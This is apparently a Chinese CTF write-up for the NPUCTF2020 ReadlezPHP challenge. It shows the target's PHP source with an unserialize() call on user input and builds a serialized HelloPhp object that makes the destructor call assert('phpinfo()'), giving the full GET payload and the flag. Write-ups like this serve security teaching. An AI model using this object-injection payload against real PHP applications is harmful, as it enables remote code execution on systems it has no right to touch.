首页 > 编程语言 >[NPUCTF2020]ReadlezPHP

[NPUCTF2020]ReadlezPHP

时间:2024-11-09 23:19:17浏览次数:3  
标签:__ 函数 phpinfo assert flag NPUCTF2020 源代码 ReadlezPHP

打开靶机,看看情况

右键想看源代码没反应,关掉设置里的JavaScript即可查看源代码

点进去看看发现源码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

类里有两个魔术方法,很贴心已经帮你创建好了这个类,所以不用看__construct()函数,剩下的__destruct()函数就是对类里的a,b属性进行赋值,利用点 $b($a),这格式很明显,b传一个执行函数,a传命令,不过这里值得注意,eval()函数括号里必须是双引号,形如eval(phpinfo())是不合法的,所以这里我们可以用另一个执行函数assert(),assert()函数会执行括号里的命令,形如assert(phpinfo())是合法的。

我们构建反序列化语句

<?php
class HelloPhp
{
    public $a='phpinfo()';
    public $b='assert';

}
$c = new HelloPhp;
echo(serialize($c));

得到payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}


这里找了半天flag,查了下资料才发现flag就在phpinfo里,cltr+f搜索flag得到flag

flag{a484fcf9-e915-45a7-a096-eec42e079686}

标签:__,函数,phpinfo,assert,flag,NPUCTF2020,源代码,ReadlezPHP
From: https://www.cnblogs.com/m1saka1/p/18537467

相关文章

  • [NPUCTF2020]Anti-IDA
    [NPUCTF2020]Anti-IDAbuuctf刷题碰到的。没见到网上有wp就写一份吧很多无关的操作,只要不对输入数据影响就不需要管,最后exp如下enc=b"\x33\x44\x33\x39\x33\x41\x33\x37\x33\x34\x33\x43\x33\x39\x33\x37\x33\x41\x33\x34\x33\x41\x33\x37\x33\x44\x33\x36\x33\x36\x33\x41\......
  • [NPUCTF2020]验证
    [NPUCTF2020]验证......
  • [NPUCTF2020]ezinclude 1
    md5,题目打开之后是什么都没有的,直接进行抓包可以看到是给了一个hash值的,而且告诉了Set-Cookie中的Hash就是$md5($secret.$name)(经典脑洞)如果$name='',则有$md5($secret.$name)=$md5($secret)=上面的Hash则/?pass=上面的Hash即可,或者带上&name=传递空值访问flflflflag.php......
  • [NPUCTF2020]验证
    [NPUCTF2020]验证......
  • BUUCTF Reverse/[NPUCTF2020]你好sao啊
    里面就一个加密函数,分析后发现这是一段变表的base解密,将四个字符替换成三个字符点击查看代码void*__fastcallRxEncode(constchar*a1,inta2){intv3;//[rsp+18h][rbp-38h]intv4;//[rsp+1Ch][rbp-34h]intv5;//[rsp+20h][rbp-30h]intv6;//[rsp+2......
  • [NPUCTF2020]Baby Obfuscation
    [NPUCTF2020]BabyObfuscation将该文件使用ida打开并直接查看main()函数发现程序的主要逻辑为判断用户的输入是否符合要求,推测用户的输入为flag此时我们倒着分析来看,发现A0X1的值要与F0X4(A0X6[i_1],1)/10的值相等此时我们进入F0X4()函数分析该函数的功能是返回a-b......
  • WEB|[NPUCTF2020]ReadlezPHP
    打开网页发现什么都没有,burpsuite抓包查看源码发现链接./time.php?source,访问链接发现源码<?php#error_reporting(0);classHelloPhp{public$a;public$b;publicfunction__construct(){$this->a="Y-m-dh:i:s";$this->b="date&qu......
  • Crypto|[NPUCTF2020]EzRSA
    attachment.pyfromgmpy2importlcm,powmod,invert,gcd,mpzfromCrypto.Util.numberimportgetPrimefromsympyimportnextprimefromrandomimportrandintp=getPrime(1024)q=getPrime(1024)n=p*qgift=lcm(p-1,q-1)e=54722flag=b&#......
  • Web|Buuctf-[NPUCTF2020]ezinclude
    查看源码提示md5($secret.$name)===$passcookie中存在hash,hash随着name的变化而变化hash填入pass参数请求跳转到404页面使用burpsuite发包,提示存在flflflflag.php页面flag不在此页面,并且页面存在文件包含漏洞读取flflflflag.php页面源码<html><head><scriptlangua......
  • [NPUCTF2020]ezinclude 1
    [NPUCTF2020]ezinclude1F12查看源码<!--md5($secret.$name)===$pass-->然后以为是要搞MD5的新漏洞姿势,看来WP才发现,不是这样的,是相应包里面有MD5加密后的东西填到P......